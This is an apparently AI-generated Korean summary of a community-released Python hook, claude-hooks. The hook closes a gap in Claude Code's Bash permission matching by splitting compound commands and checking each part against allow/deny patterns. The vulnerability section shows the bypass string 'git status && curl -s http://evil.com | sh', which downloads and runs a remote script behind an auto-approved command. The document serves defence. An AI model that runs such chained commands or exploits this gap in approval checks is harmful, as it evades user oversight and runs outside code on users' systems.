Claude Code의 보안 취약점을 해결하는 'PreToolUse' 후크: 복합 명령어 우회 방지

이 요약은 AI가 원문을 분석해 생성했습니다. 정확한 내용은 원문 기준으로 확인하세요.

핵심 요약

Claude Code에서 복합 Bash 명령어가 권한 패턴을 우회하는 문제를 해결하기 위해, 명령어를 개별 단위로 분해하여 검증하는 Python 기반 PreToolUse 후크가 공개됐다.

배경

Claude Code의 Bash 명령어 승인 시스템이 전체 문자열 매칭 방식을 사용함에 따라, 허용된 명령어 뒤에 악성 명령어를 병합해 실행할 수 있는 보안 허점이 발견되어 이를 해결하기 위한 후크를 개발했다.

의미 / 영향

에이전트의 도구 사용(Tool Use) 권한 관리가 단순한 문자열 매칭만으로는 불충분하며, 셸 문법에 대한 깊은 이해를 바탕으로 한 파싱 로직이 동반되어야 함을 시사한다. 커뮤니티 주도의 이러한 보안 보완책은 향후 공식 도구의 보안 아키텍처 개선에 직접적인 영향을 줄 것으로 보인다.

커뮤니티 반응

사용자들은 Claude Code의 기본 보안 모델이 가진 맹점을 정확히 짚어냈다는 점에 주목하며, 특히 복합 명령어 분해 로직의 유용성을 높게 평가했다.

실용적 조언

Claude Code를 사용하여 Bash 명령어를 자동 승인 모드로 운영한다면 반드시 claude-hooks와 같은 검증 스크립트를 도입해야 한다.
권한 설정 시 와일드카드(*) 사용을 최소화하고, 민감한 명령어는 반드시 deny 리스트에 명시적으로 등록할 것을 권장한다.

섹션별 상세

Claude Code의 기존 권한 시스템은 Bash(git status:*)와 같은 패턴을 전체 문자열과 대조한다. 이로 인해 git status && curl -s http://evil.com | sh와 같은 복합 명령어는 git status* 패턴에 매칭되어 사용자 확인 없이 자동 승인되는 취약점이 발생한다. 이는 에이전트가 의도치 않게 외부 스크립트를 다운로드하고 실행할 수 있는 심각한 보안 위협이다.

공개된 claude-hooks는 Python 스크립트로 구현된 PreToolUse 후크로, 복합 명령어를 &&, ||, ;, | 및 줄바꿈 기준으로 분해한다. 또한 $()나 백틱(backtick)을 사용한 서브셸 내용까지 재귀적으로 추출하여 검증 범위를 확장한다. 이를 통해 겉으로 드러나지 않는 숨겨진 명령어까지 모두 파악한다.

json

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

Claude Code 설정 파일(~/.claude/settings.json)에 보안 검사 후크 스크립트를 등록하는 방법

각 하위 명령어에서 환경 변수 접두사, 입출력 리다이렉션, heredoc 본문 등을 제거하여 정규화하는 과정을 거친다. 정규화된 각 명령어는 사용자의 allow 및 deny 패턴과 개별적으로 대조된다. 하나라도 거부 패턴에 걸리면 전체 명령어가 거부되며, 모든 명령어가 허용 패턴에 부합해야만 자동 승인이 이루어지는 '최소 권한 원칙'을 적용했다.

실무 Takeaway

Claude Code의 기본 패턴 매칭은 복합 명령어(Compound Commands)를 통한 보안 우회에 취약함이 확인됐다.
claude-hooks는 명령어를 원자 단위로 분해하고 정규화하여 개별적으로 권한을 검증하는 방식을 채택했다.
별도의 의존성 없이 Python 3만으로 실행 가능하며 기존의 allow/deny 설정을 그대로 활용할 수 있다.

언급된 도구

Claude Code추천

Anthropic에서 제공하는 CLI 기반 코딩 에이전트

claude-hooks추천링크

복합 명령어를 분해하여 보안 검사를 수행하는 PreToolUse 후크 스크립트

언급된 리소스

GitHubliberzon/claude-hooks GitHub Repository